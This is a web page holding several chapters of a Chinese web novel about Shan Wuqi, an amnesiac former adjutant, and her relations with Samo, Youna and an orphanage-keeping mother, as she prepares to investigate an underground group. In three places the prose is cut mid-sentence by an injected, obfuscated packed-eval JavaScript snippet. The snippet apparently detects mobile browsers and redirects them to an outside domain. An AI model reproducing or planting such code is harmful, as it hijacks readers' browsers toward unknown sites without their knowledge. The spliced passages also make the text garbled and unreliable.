单无绮的预感兑现了。 她就知道,跳进首长的陷阱,代价绝对不止戴上第二根狗牌那么简单。 单无绮干巴巴地开口:“我不知道该怎么办。” “我很少从你脸上看到这么无措的表情,无绮。”首长竟然笑了出来,“看来,你的失忆并非完全是一件坏事,至少,你的身上多了一些柔软的东西。” 单无绮:“……” 单无绮:“你是在嘲笑我吗?” “绝无此意。”首长严肃地否决。 单无绮咬牙切齿。 这个两撇胡子的老阴比! “就当是我给你的考验吧,想当年,阎老留给我的难题,比如今的‘蜂’更加棘手。”首长毫无廉耻地将烂摊子抛给单无绮。 两撇胡子和高衣领遮住了他的表情:“你曾经是我的副官,三年归来,今天的你,理应比从前的你做得更优秀。” “我只是一个微不足道的见习调查员。”单无绮挣扎道。 “我相信你的潜力,毕竟,经过这一次推心置腹的交谈,我已经确定,你还是单无绮,流放的三年里,并没有奇怪的东西占据你的大脑。”首长笑了笑。 他的双手放在膝盖上:“但是——就当我失礼吧,我想直白地问你一个问题。” 单无绮摆烂道:“请便。” “你的理想还长存吗?”首长道。 单无绮沉默。 她陷入了有史以来最漫长的一次沉默。 理想?她的理想是什么? 一开始,在荒野中醒来时,她想要回到基地。 但那似乎不足以称为理想。 禁闭室被拷问的三天里,她忍受着流水般的刑具,在短暂的喘息时间里,她的大脑并没有完全放空。 她在思考基地,她在思考人生,她在思考未来。 但那只是痛苦之余的思考,也不能被称为理想。 自己的理想是什么?单无绮扪心自问。 她为什么戴上狗牌?仅仅是因为没有选择吗? 她的内心为什么充满落差,仅仅因为基地的封闭式管理吗? 单无绮想起了那句话——为了人类的黎明。 理想和黎明等重吗? 人类……一直在永夜里挣扎吗? 单无绮的脑子乱糟糟的。 她不想去思考深邃玄奥的人生哲理,乃至生死存亡的种族大义。 但她的直觉告诉她,她可以回答首长的问题。 “是的。”单无绮抬起双眼。 她湛蓝的眼眸直视首长的眼睛:“我的理想……仍然长存。” 22. 哑巴犟狗 单无绮满怀心事地离开。 萨摩向首长示意后,转身护送单无绮。 二人一路无话。 单无绮的脑子一团乱麻。 和首长的这场对话,信息量实在太大了。 谜团接踵而至,她解开了一个,却得到了更多。 单无绮边想边走,下意识沿着原路折返。 萨摩跟在单无绮三步之后。 当单无绮重新回到城门时,她恍然意识到,基地的晚间供电已经结束,尤娜他们应该已经回调查司了。 但单无绮看到了微弱的烛光。 那烛光影影绰绰,来自值岗室。 单无绮推开门,看到尤娜几人一个不少,全都在值岗室里等她。 连野人艾森也在。 他脏兮兮的脸蛋彻底洗干净了,多年未剪的拉碴胡子也刮得一根不剩,五官竟然十分秀气,即使饿得有些脱相,也能窥见他曾经俊俏的容颜。 单无绮推开门时,屋内几人正在低声说话。 听到声音,他们齐齐扭过头。 “你回来啦!”尤娜有点高兴。 尤娜已经脱下制式服装,换回了那身漆黑的衣装,颈部一圈毛领,毛绒绒仿佛一只雏鸟。 下一秒,比单无绮高一个头的萨摩,从单无绮身后无声出现。 尤娜:“……” 尤娜脸上的笑容转瞬间熄灭了。 单无绮走进值岗室,见萨摩站在门外,朝他点头道:“多谢。” “嗯。”萨摩拉低帽檐。 他没有离开的意思,却也没有跟着单无绮进来。 单无绮沉默了两秒。 “进来坐坐?”单无绮对萨摩道。 萨摩迟疑片刻,点了点头。 尤娜警惕地盯着萨摩。 萨摩走进值岗室,在角落倚墙站着。 本就不宽敞的小房子立刻拥挤起来。 佩特拉和维沙尔都是小孩子,分别在安多尼和阮禾的怀里睡着了,庄修文倒是精神抖擞,就着烛光,缓慢地翻阅波利·萨恩奇的笔记。 值岗的党员还是纳什·希尔德克劳特。 纳什给萨摩倒了杯热水。 萨摩谢了一声,戴着白手套的手接过水杯。 “你是来监视我们的?”尤娜不友好地问。 萨摩喝水的动作一顿。 他放下水杯,摇摇头。 “这里不欢迎你。”尤娜眉宇间皆是明晃晃的敌意。 萨摩垂眸不语。 单无绮有点不解:“尤娜,你为什么要赶萨摩走?” “友爱部的地位,在四部很尴尬。”主动解释的人是萨摩,“我们……是唯一将枪口对准人类的部门。” “不!你以为你们被讨厌的原因那么简单吗?”尤娜立刻被挑起怒火。 尤娜从不遮掩自己的情绪。 这一点,单无绮在刚加入调查司时,就已经领会过了。 尤娜仿佛一只未驯化的山猫,尖锐的竖瞳凝视着这个世界,无论爱与憎,都强烈而鲜明。 “你们等了我多久了?”单无绮连忙岔开话题,“已经这么晚了,你们怎么不先回去呢?” 尤娜闷闷地哼了一声,情绪非常不佳。 “火车站封锁了,我们只能暂时留在外城。”阮禾轻声解释。 她的右手缓慢地拍打维沙尔的背部:“外城不比内城繁华,招待所很久没有打扫了,这里也没有旅店,大家商量了一阵,最后决定去我家过夜。” 单无绮诧异地看了阮禾一眼:“你是外城人?” 单无绮完全没想到,阮禾竟然来自外城。 阮禾皮肤白皙,眼神柔软,语气温和,一看就是幸福家庭出身的女孩子。 阮禾笑了笑,伸出双手给单无绮看。 ——上面布满了老茧。 “我的妈妈开了一家福利院,收留了很多无家可归的孩子。”阮禾收回手,脸上有一种柔美的思念,“自从考进四部后,我已经很久没回去看望她了。” “你的母亲,是阮真莎女士吗?”萨摩突然问。 阮禾抬起头,眼神虽然有点疑惑,却还是回答了萨摩的问题。 “是的,萨摩司长。”阮禾轻声道,“您想问我什么?” 尤娜立刻竖起浑身看不见的尖刺。 她将阮禾挡在身后,漆黑的双眸警惕地盯着萨摩。 单无绮夹在两方中间,开口也不是,不开口也不是。 她没有想到,萨摩竟然这么不招人待见。 但萨摩显然早就习惯了。 他低声道:“不,我只是偶然听过她的故事——外城有一位名为‘阮真莎’的女士,十月事变后,她收养了许多无家可归的孤儿,因此被基地授予铁勋章。” 十月事变。 单无绮愣了一下,随后反应过来,它是指324年的那场暴乱。 十月秋夜,名为“蜂”的地下组织集体失控,点燃了半个外城。 孤儿…… 那一场暴乱,那一把大火,到底让多少无辜的家庭变得支离破碎? “阮女士很伟大。”萨摩道。 “我代母亲感谢您的赞美。”阮禾道。 “……”萨摩再次沉默。 萨摩不擅长聊天,也许是碍于身份,也许是性格使然。 单无绮实在看不下去了,伸手把他往门外推。 “没什么事的话,你还是先走吧。”单无绮没看出萨摩要办什么公务,既然如此,他待在这里只会徒增尴尬,“有事你再来找我。” 萨摩趔趄了一下,很快站稳身子。 他顺着单无绮的力道被推出门。 但在单无绮关门时,他抓住门板边缘,阻止了单无绮的动作。 “我想不到事情找你。”萨摩道。 单无绮的头顶打出一个问号。 “公务,友爱部只有洗脑和拷问。”萨摩的手掌撑出一道门缝,碧绿的眼睛半掩在帽檐下,神色竟然有几分像梅,“我该用什么事找你?” 萨摩的眼神很认真。 他在发问,他在求解。 单无绮看着萨摩的眼睛,鬼使神差地想起了梅的话。 ——你喜欢过萨摩。 ——一开始,你并没有非他不可的意思,他也迟迟没有开窍,但现在不一样了。 但是,也许回忆才是关系的载体,到目前为止,单无绮对萨摩没有生出任何感觉。 既没有爱,也没有恨。 何况,连当下的事都是一团乱麻,单无绮更没有精力,去追寻埋葬在过去的人与事。 单无绮用力关门。 萨摩更用力地抵住门,隔着一道门缝,用帽檐下的绿眼睛凝视着单无绮。 哑巴犟狗。 单无绮脑中突然浮现出这个形容词。 她闭了闭眼,含糊道:“以后再说。” 萨摩沉默。 他抽出抵住门板的手,朝单无绮深深地看了一眼,随后转身大步离开。 单无绮转过身,发现所有人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497918|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在看着自己。 野人,不,已经擦干净脸的艾森揶揄一笑。 他吹出一声幽长的口哨。 “吁~” 单无绮:“……” 单无绮的拳头硬了。 “单无绮,你和萨摩是什么关系?”尤娜闷声闷气地问。 黑裙少女的表情犹豫又纠结,像是在两种抉择间摇摆不定。 单无绮无奈道:“我也想知道。” 尤娜抬起微垂的脸,诧异地“啊”了一声。 “我忘了很多事,而你提出的问题,我问过萨摩不下三遍,但他不愿意回答我。”单无绮耸耸肩,“所以抱歉喽,你的问题,我现在没法回答。” 艾森斩钉截铁:“你们两个,绝对有过一腿!” 单无绮、尤娜:“……” 尤娜咬牙道:“为什么?” “这还不明显吗?一眼就能看出来的事!”艾森用恨铁不成钢的眼神盯着尤娜,视线往单无绮那边飘了一下,最终没敢直视单无绮。 他唉声叹气:“你们两个榆木疙瘩,这种事只可意会,不可言传啊!” “我也这么觉得。”阮禾竟然也在帮腔。 她抱着维沙尔,柔美的脸蛋在烛光中十分朦胧:“单姐,萨摩司长喜欢你。” “为什么?”单无绮追问。 “感觉。”阮禾答。 “什么感觉?”尤娜继续追问。 “就是那种感觉。”艾森答。 单无绮:“……” 单无绮和尤娜对视,阮禾和艾森对视。 小小的值岗室分成了两半。 他们之间仿佛隔着一层可悲的厚壁障,彼此鸡同鸭讲,完全无法交流。 庄修文咳嗽一声。 几人聊天时,庄修文拈着笔记某页,很久没有翻动。 见室内气氛陷入僵滞,庄修文主动站出来,道:“我们该去阮禾家了。” “可惜了。”艾森感慨道。 “什么可惜了?”单无绮问道。 艾森闭麦了。 艾森没有去处,他在外城的房子早就被拆除了。 而且,身为从墙外回来的逃民,现在的他,按理应该在友爱部稽查司接受盘查。 单无绮想起了铁平康。 他是稽查司驻扎外城的党员。 “我送你去稽查司。”单无绮拉起艾森往外走。 艾森当机立断抱住了单无绮的大腿。 “别!不要送我去条子那儿!” “老铁人很好的。” “再好也不要啊!” “艾森,你忘了蓝心同志的话吗?”阮禾轻声细语地提醒。 艾森的反抗一瞬间停止了。 他垂头丧气地坐在地上,安静几秒后,他抹了把脸,重新站了起来。 他的脸上满是赴死的决然:“单副官,我们……” 咚咚咚。 值岗室的门敲响了。 这间值岗室本来属于纳什·希尔德克劳特,但不知何时起,他安静地缩在角落里,仿佛一个发霉的小蘑菇。 听到敲门声后,纳什吐出一口气,打开了房门。 铁平康顶着寸头,穿着睡衣,沉默地站在门后。 铁平康的身后,萨摩的枪抵着他的腰窝。 “夜安,各位。”铁平康的模样,一看就是从被窝里强行薅起来的,“应萨摩司长的要求,我来加班了。” “加班”一词,重音。 屋内众人:“……” 23. 铁勋章 临走前,艾森苦苦挣扎。 “大人。”艾森哀戚地问,“我会死吗?” 铁平康:“……” 铁平康:“一些简单的审问而已。你好好配合,我今晚还能睡个整觉。” 艾森被铁平康带走了。 萨摩安静地看着单无绮。 尤娜气得细眉倒竖:“你怎么还不走?” “拜托了,让他暂时跟着我们吧。”单无绮对尤娜讨好地笑,“我会看着他的。” 单无绮的直觉告诉她,如果把萨摩赶出去,他还会想办法回来。 尤娜勉强被捋顺了毛。 她站在单无绮身后,漆黑的眼睛一眨不眨地盯着萨摩,俨然把萨摩当成了头号敌人。 “不许留下来过夜!”尤娜道,“也不许进阮禾家!” 萨摩拉低帽檐,没有说话。 夜色中,几人向纳什告别。 阮禾的力气不够大,起身时,安多尼接过维沙尔,熟练地调整姿势,把维沙尔和佩特拉一同抱在怀里。 萨摩不远不近地缀在队尾。 单无绮注意到,当萨摩离开时,他从衣袋中摸出两张钱,悄悄压在了水杯下。 单无绮落后几步,和萨摩并行。 “那是什么?”单无绮指了指萨摩的衣袋。 “信用券。”萨摩说着,把衣袋里的钱全都掏了出来。 单无绮的眼神一下子定住了。 那是猫看到鱼一般的,兴致盎然的眼神。 萨摩将那沓钱一张张点开。 他边点边说:“信用券是基地的流通货币,面额有一,五,十,二十,五十,一百。” 见单无绮仍然没有移开目光,萨摩顿了一下,将点了一半的信用券,塞到单无绮手心里。 单无绮推了推:“这多不好意思。” “没关系。”萨摩道。 萨摩还在思考如何说服单无绮。 但下一秒,单无绮收回了推辞的动作,把那沓钱牢牢护在心口。 “你是个好人。”单无绮真情实意地道。 萨摩:“……” 萨摩咳嗽一声。 “外城中,阮女士是为数不多的授佩铁勋章的人。”萨摩开启了另一个话题,犹如临阵逃脱,“三百多年里,基地一共只发放了十三枚铁勋章。” 单无绮摸着热乎乎的钱,上面残留着萨摩的体温。 她觉得现在的萨摩,怎么看怎么顺眼。 “铁勋章?”单无绮问道,“那是什么?” “它是基地的最高荣誉,用于表彰为人类做出杰出贡献的公民。”萨摩的目光扫过单无绮的脸,“你曾经也有一块。” 单无绮已经习惯萨摩的聊天方式了。 她笑问:“那枚铁勋章呢?” “……你带走了。”萨摩没有直说“流放”一词。 见单无绮神色有异,他停下脚步,微微蹙眉:“它不在你身上吗?” 单无绮回忆片刻。 她诚实地摇了摇头。 “我以为,你把铁勋章藏起来了。”萨摩低声道,“原来,你把它弄丢了。” 萨摩的语气有点失魂落魄。 单无绮一时间不知道该怎么接话。 她第一次觉得,失忆是一件残忍的事。 她忘记了一切,轻盈无比,但萨摩背负沉重的过去,一个人梳理着两个人的心事。 手里的钱一瞬间变得有点烫手。 单无绮低下头,把那沓钱点了一遍。 她的本意,是想回赠一份价值相当的礼物。 但萨摩看着她的动作,产生了一些误解。 “我还有钱。”萨摩道,“回头拿给你。” “不,不是。”单无绮有点结巴,面对这种纤细的事,她一向笨嘴拙舌,“我不要你的钱。” “你想要什么?” 单无绮慌不择词:“我什么也不要!” 完啦! 单无绮绝望地闭眼。 萨摩定定地盯着单无绮。 单无绮心虚地埋下头。 萨摩突然叹了口气。 他移开视线,看向前方:“你还是那副样子。” 单无绮抬起头:“什么?” “你没有错,但你总是感到抱歉。”萨摩咽下了一个称呼,一个绝对不适合重新提起的称呼,“我知道你想说什么,这无关你和我之间的关系,而是你本身就是个一眼就能看穿的人。” 单无绮:“……” 单无绮:“你在骂我还是夸我?” “今晚是个意外,我们本不该见面。”萨摩停下脚步,“再见,我只送你到这里。” 单无绮抓着那沓钱。 她看了萨摩一阵,扭头追上走远的尤娜。 萨摩站在街口,帽檐下的绿眼睛凝视着单无绮的背影。 待单无绮的背影彻底融入夜色,萨摩垂下头。 他轻声道:“对不起。” 巷子里走出一个高挑俊俏的男子。 他穿着常服,没有戴帽子,右手夹着一根没有点燃的烟。 他穿过阴影,从黑暗中走到月光下,空荡荡的右眼仿佛一朵枯萎的花苞,横亘着眼球摘除手术的丑陋疤痕。 “说完了?”梅问道。 萨摩点点头。 “从前的事已经过去了,说实话,我不介意你们重新走到一起。”梅说。 萨摩诧异地抬起头。 “你以为我要一枪毙了你吗?”梅嗤笑一声。 梅点烟:“她不是小孩子了,她成年了。我不能再用对待女儿的方式对待她。” 萨摩没有说话。 没有等来预料中的责骂,萨摩的绿眼睛在月光下闪动。 他褪去了平日的沉稳和严肃,多了几分青年人的蓬勃和鲜活。 但梅转瞬间泼了盆冷水:“别高兴得太早,凭现在的你,根本不可能追到她。” “为什么?”萨摩虚心请教。 “我的妹妹可不是听话的小狗,她是尖牙利齿的小猫,稍不留意就会撕开网兜逃走。”梅摸了摸那只空洞的眼眶,它仍在疼痛,到死都不会停息,“除了那个老东西,没人能让她变成一只家猫,就算是我也不行。” 萨摩沉默。 他知道梅在骂谁,但他无法反驳,也不敢反驳。 “罢了,不必提他。”梅摆摆手,“你知道单无绮最近喜欢什么吗?” 萨摩立刻答道:“钱。” 梅:“?” 梅:“哈?” “嗯,钱。”萨摩下意识摸衣袋,却只掏了团空气出来,“她喜欢钱。” 回忆单无绮盯着信用券的眼神,萨摩严峻地补充:“很多很多钱。” 梅:“……” 梅大怒:“我的妹妹怎么可能这么俗气!” “她不是从前的她了。”萨摩轻声道,“她的铁勋章……不见了。” 梅激烈的神色一瞬间凝滞了。 梅站在原地,半晌没动,指间的烟安静地燃烧。 直到一大截烟灰滚落到地上,梅才恍然惊醒,欲盖弥彰般低头抽了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506166|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 “她失忆了。”梅感慨道。 “嗯。”萨摩回应道。 “她忘了一切。” “嗯。” “但为什么!”梅的表情微微颤动起来,“为什么……为什么她还是……” 梅喉间哽咽,甚至话都无法说完,仰起头深吸了一口气。 萨摩看着梅。 憔悴的神色凝结在梅的眼尾。 单无绮离开的三年里,梅·亚历克谢衰老的程度,比过去二十几年加起来还要多。 良久,萨摩轻声道:“这是她自己选择的路——即使失去了记忆,她也永远忠诚。” “对什么忠诚?首长?基地?” “不,对人类。” “即使她有一具异种的身体?” “即使她有一具异种的身体。” “……”梅抽掉最后一口烟,将烟头恶狠狠地掼在地上。 萨摩把烟头捡起来,白手套染上污灰。 萨摩看向梅:“梅……” “叫我哥。”梅突然道。 梅像是下定了某种决心,眼神狠厉得可怕。 萨摩愣了一下。 几秒后,他的脸颊激动地红了起来:“哥。” “你必须得帮她,你必须能帮到她。”梅说完,转身离开。 无需提醒,萨摩自觉地跟了上去。 “从明天起,你每天抽2个小时过来找我。”梅的步伐极快,像是踩着一团火,“你太弱了,无论从生理还是心理上,你都是个没断奶的狗崽子。” “嗯,哥。” “忘掉你和她从前的关系,你必须像个男人一样站在她身边。”梅停下脚步,灰色的左眼凌厉地盯着萨摩,“从前她来不及教给你的,现在由我来教给你。” 萨摩低声道:“她永远是我的师父。” “她就是我一手教出来的,你觉得我没资格?”梅嗤笑一声。 萨摩摇头。 仿佛觉得程度不够,他再次用力摇头。 “明天你什么时间有空?” “除了上午八点到十一点,下午三点到六点,都有空。” “明天十一点半,靶场准时见。”梅冷哼道,“敢迟到的话——别怪我让你脑袋开花!” …… 单无绮追上尤娜。 尤娜一直吊在队伍最后,拖拉了好一阵,似乎是在等单无绮。 但随着单无绮和萨摩停下来聊天,尤娜不得不加快脚步,跟上了大部队。 单无绮归队后,尤娜凌厉地盯着单无绮。 面对那张隐忍着怒火的,漂亮的脸蛋,单无绮生不出一丝反抗。 她缩了缩脖子:“尤娜……” “我看错你了!”尤娜又快又利地啐道,“跟着男人跑,呸!” 单无绮:“……” 单无绮试探地伸手:“尤娜啊……” 单无绮捉住了尤娜的手。 尤娜挣了挣,到底没甩开。 单无绮把钱一股脑全塞给了尤娜:“给。” 尤娜:“……” 尤娜勃然大怒:“什么臭男人拿过的,我不要这东西!” 尤娜用力甩开单无绮的手。 她“噔噔噔”地走到队伍最前面,平底靴踩得像恨天高。 阮禾等人诧异地看着尤娜,又将视线投向队伍尾巴的单无绮。 单无绮攥着一把钱,夜风萧瑟,神色戚戚。 “……怎么会有人不喜欢钱呢。”单无绮悲伤地低头,“钱,明明是好东西啊。” 24. 心结 阮禾的家在四区百合街区,它同时是外城唯一的福利院。 单无绮一行人来到阮禾家时,发现一位提灯的女士早已守在门口。 她穿着朴素的黑裙,黑色衣料泛着浆洗过度的白,脸上戴着细网格的方形黑纱,头顶简朴地别着一块黑巾,看模样似乎正在服丧。 她的身形高挑而纤细,她手中的马灯明亮而巨大。 无尽夜色中,这位漆黑的女士犹如一座美丽的灯塔。 阮禾远远地看到黑裙女士的身影,高兴地喊:“妈妈!” 提灯的女士闻声转过脸。 女士的脸掩藏在细格黑纱后,但依然能窥见柔美的五官。 她放下马灯,对飞扑过来的女儿张开双臂。 阮禾像一只归林的乳燕,眷恋又欣喜地扑进女士怀中。 “妈妈。”阮禾把脸埋进女士怀里。 女士戴着黑手套。 她伸出一只手,怜惜地抚摸阮禾的头发,又掀起细格面纱,在阮禾的额头上轻轻吻了一下。 而后,她拍拍阮禾的后背,示意女儿松开她。 “夜安,诸位。”阮女士对单无绮等人行了一礼,“感谢你们对小禾的照顾,她被我宠坏了,很多事情多谢你们包涵。” 尤娜赶紧回了个军礼。 “您言重了。”尤娜一路上积蓄的怒气,在阮女士水一样的温柔中,顷刻间冰消雪解,“阮禾虽然是调查司的新人,但她比几个前辈还让人省心。” 阮女士微微一笑。 马灯跳跃着亮橘色的火焰,但阮女士的面容依然十分苍白:“先进来休息吧,房间已经收拾好了。” 众人一一道谢。 单无绮再次勾住尤娜的手,这一次,尤娜终于没有挣开。 “别生气了。”单无绮拙劣地哄劝。 “是我不对。”尤娜垂低眼睫。 说话时,二人缀在队伍最后。 尤娜扶着门框,黑眼睛安静地看着单无绮。 单无绮跟着停下。 “怎么了?”单无绮问道。 “一开始,我对你是有怨气的。”尤娜轻声道。 尤娜的口吻有一点严肃。 单无绮立刻意识到,尤娜的感慨,并非针对今晚的事。 单无绮正视尤娜,作倾听状。 “小时候,我听着你的传闻长大,也是因为仰慕你,我才想要考进四部。”尤娜的声音很轻,很柔软。 她收起了仓促竖起的尖刺,发出雏鸟般的喁喁细语:“直到你流放回来的那一天,我都无法分清幻想和现实。我把你当成了挂在墙上的英雄画像——你是基地的传奇人物,不到双十年纪就位至副官,一人之下,万人之上。” 单无绮脸颊有点烫。 “第一次见到你时,我忍不住开始愤怒。”尤娜道,“我感到一阵幻灭,我从未想过,传闻中的单副官既不光鲜,也不伟大。” “你浑身灰扑扑的,头发扎在脑后,还有几绺跑出来了,脖子上戴着和我一样的狗牌,邋遢得有点落魄。” “那个时候,我在想,也许报纸上说的都是真的,你只是一个被捧上神坛的普通人,一个人造的神话。” “但……那件事之后,我意识到自己错了。” 尤娜停顿了一下。 单无绮轻声问:“哪件事?” “赫勒瓦尔的死。”尤娜道。 “你是杀伐果决、雷霆手段的血娘子,那一刻,你回到了传闻中的那个角色上。”尤娜垂下头,看着脚尖,“但我一点也高兴不起来。” “我终于意识到,你是单无绮,你是个活生生的人。” 尤娜的声音轻得仿佛一捧柳絮,“你的表情第一次失控了——你收起笑容,盯着倒在地上的赫勒瓦尔,他的血倒映在你的眼睛里,我看了好一阵,才意识到,那不是赫勒瓦尔的血,而是你的眼泪。” 这不是一件愉快的事。 单无绮咽了下唾沫。 她的喉咙有点干痒。 诚然,她忘记了赫勒瓦尔,但她清晰地意识到,她再次失去了一个友人。 午夜梦回时,许多没有脸的人影时常出现在她的梦境里,犹如隔着一层毛玻璃,嗡嗡地诉说被遗落的往事。 睡眠只是身体的休憩,她的灵魂从未合眼。 “我开始换位思考,发现如果我是你,我绝对做不到像你这么好。” 尤娜的语气迷茫又愧疚:“但是……我好不容易把你和单副官分开,当我看到你和萨摩司长离开时,我的心开始一阵抽痛。” “我愤怒地想,你为什么要回去呢?” “你已经不是单副官了,流放的三年里,报纸上全都是你的坏话,有的人不屑一顾,但更多的人信以为真。” “他们附和着唾骂你,生活稍有不顺,你的名字就会带着一连串脏话出现在他们的嘴里,一传十,十传百,百传千——但你仿佛要回到他们中间去,这不公平,这不公平啊……” 尤娜深深埋下头。 单无绮握住了尤娜的手。 那双手纤细又冰凉,仿佛浸泡在冬天的河水中。 “说句不该说的,尤娜。”单无绮的声音含着笑意,“你的话沉重得像在交代遗言。” 尤娜抬起头。 她的黑眸含着泪水,恶狠狠地瞪了单无绮一眼。 “我头一次发现,你的心思竟然可以细腻到这个份上。”单无绮拍拍尤娜的手背,“但我告诉你一句话:不要为眼前的事忧伤,因为它注定过去,不要为未来的事恐惧,因为它注定到来。” 尤娜愣了一下。 “骂我的人很多么?”单无绮轻描淡写地说,“基地一共只有130万人,就算一人一口唾沫,也不能够淹死我。” “更何况,我不会把他们的话放在心上,因为他们并不清楚我的为人。”单无绮轻笑一声,“因为头羊咩咩叫,所以羊群咩咩叫,仅此而已。” 尤娜激动地反驳:“不,你不知道,他们……” “我担心的是你。”单无绮打断道。 尤娜沉默了。 “你在某些方面该死地钻牛角尖,尤娜。” 单无绮盯着尤娜湿漉漉的睫毛。 它正在小弧度地颤抖。 “你担心我,我很高兴,但我绝不希望你终日悬心,甚至影响了自己。”单无绮的语气有点无奈,“我不擅长安慰人,要我学着阮禾那样,对哭鼻子的小姑娘亲亲抱抱举高高,我做不到,我只会僵硬得像块木头。” 尤娜深深垂下头。 单无绮张开手臂:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516577|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来个拥抱吗?我觉得你需要这个——如果你不介意抱一块木头的话。” 尤娜发出不成调的呜咽。 那呜咽只有一声,又轻又碎。 单无绮几乎以为,那是夜风敲打窗户发出的细微声响。 尤娜站在原地,上身前倾,脸蛋在单无绮胸前短暂地靠了靠。 这并不能称为拥抱,而且只有半秒。 单无绮放下手臂。 她无奈道:“这种时候,没必要这么要强吧。” “谢谢你。”尤娜道。 单无绮摇头:“没关系。” “你明明还没有我大,但在你面前,我好像才是个小孩。”尤娜轻声发誓,“我不会再闹了。” “这不是闹,是正常的情绪宣泄。” “你一定要小心那些人。”尤娜抬起脸,一圈湿睫毛围着眼眶,看起来漂亮又动人,“他们什么话都说得出来,简直不堪入耳……” “至少到目前为止,我没有听到一句像样的辱骂。”单无绮道,“而且就算有,那些话的分量,也没有你的一颗眼泪重。” 尤娜愣住了。 随即,她红了脸,抽身往屋内走去。 单无绮跟上去,发现阮女士站在门后。 “抱歉。”阮女士行礼,“我无意偷听你们的对话,但小禾说,你们一直没有跟上来。” “没事没事。”单无绮连忙摆手。 “我带您去房间。”阮女士仍穿着那身浆洗过度的黑裙,只是将手中的马灯,换成了更柔和的提灯。 她走在最前面,为单无绮引路。 二人一前一后,沿着细长的走廊缓慢行走。 她们路过了许多房间。 那些房间的门上,都有一个小小的窗口。 单无绮通过窗口扫视房间,发现每个房间,都住着至少四个孩子。 夜已深,孩子们都睡着了。 单无绮的脚步更轻了:“……好多小孩子啊。” “他们大多都是在那场大火中变成孤儿的。”阮女士的声音有一点朦胧,“虽然那场大火已经扑灭,但它依然在孩子们的梦里,直到现在,都还有人做着噩梦。” 单无绮知道自己不该问出这个问题。 但也许是阮女士太过温柔,也许是自己的求知欲该死地旺盛。 单无绮道:“您能讲讲那场大火吗?” 阮女士停顿了一瞬:“……当然。” “一开始,那场大火只点燃了物资站。” 阮女士走在最前面,柔和的提灯照亮了她的轮廓,黑裙边缘描着一圈朦胧的白光。 “那个时候,外城穷极了,外城人也饿极了,他们甚至把地里的种子都刨出来吃掉,连着没掸掉的泥巴一起。” “当高高的火舌在物资站升腾而起,他们第一反应是恐惧,第二反应是扑向火中,像一群失去理智的饿狼,把燃烧的物资站拆成了一堆废墟。” “火焰爬上了他们的身体,他们一边往嘴里塞东西,一边在地上打滚。” “他们变成了一捧又一捧烧黑的焦炭。” “但更多的人扑进火里了,他们带着食物和燃烧的火焰,拼了命往家里跑。” “于是火势扩散了,无可阻挡,贫穷和饥饿正是它的导火索。” 25. 零 单无绮的记忆回到了那一天。 她明明什么也不记得了,但听到阮女士的描述,她仿佛重新置身那片火海。 眼前是大片狂舞的火焰,数不清的人在火焰里穿梭,尖叫声,咆哮声,厮打声,警哨声,无数种声音灌进单无绮的耳膜。 她当时在哪里? 她的视角很高,高过城里的一切,漫天的火海在她的脚下燃烧,热风带着灰烬,吹拂她的长发。 她在……城墙上。 单无绮的脑袋“嗡”了一声,随后,剧烈地疼痛起来。 单无绮捂住额头。 有什么东西,就要冲破无形的枷锁,从脑海深处释放而出。 “单副官?”阮女士轻声开口,“单副官?您还好吗?” 单无绮睁开眼。 不知何时,她竟然出了一身黏腻的冷汗。 她伸手扶墙,深吸了两口气,又抬起头,对目露担忧的阮女士挤出一个微笑。 “我没事。”单无绮道。 阮女士将单无绮送到房间。 一番关心后,阮女士戴着黑色手套的手摸了摸单无绮的额头。 “今晚我负责巡夜。”阮女士温柔地说,“如果您有需求,请沿着提灯的光芒在走廊上找我。” 阮女士的声音仿佛一汪清泉。 阮禾的性格,大概率遗传自这位优雅温柔的母亲。 看着阮女士不纯蓝的眼睛,单无绮愣愣地点了点头。 阮女士轻声离开,合上了门。 单无绮躺在床上,被子拉到下巴处,安静地盯着陌生的天花板。 今天的经历像在做梦一样。 白天,单无绮一行人离开基地,在墙外获得了佩特拉的父亲,波利·萨恩奇的笔记。 墙内,一个名为“蜂”的地下组织,将操控的傀儡汇聚在外城广场,在众目睽睽之中,让傀儡们变成了异种。 返程的路上,单无绮遇到了一群攻击欲望极强的游荡异种,她因此暴走,并且震碎了拘束器。 回城后,首长和单无绮展开了一场谈话。 首长要求单无绮解决“蜂”,表示这是一场考验。 单无绮盯着天花板,脑中终于梳理出一条清晰的线。 她的首要任务,是调查“蜂”。 蜂并非新生的地下组织,而是一团复燃的死灰,外城的集体异化只是一个开端,蜂的首领,必然谋划着更大的阴谋。 但要想调查蜂,只靠她一人的力量,是绝对不够的。 调查司司长。 她要成为调查司司长。 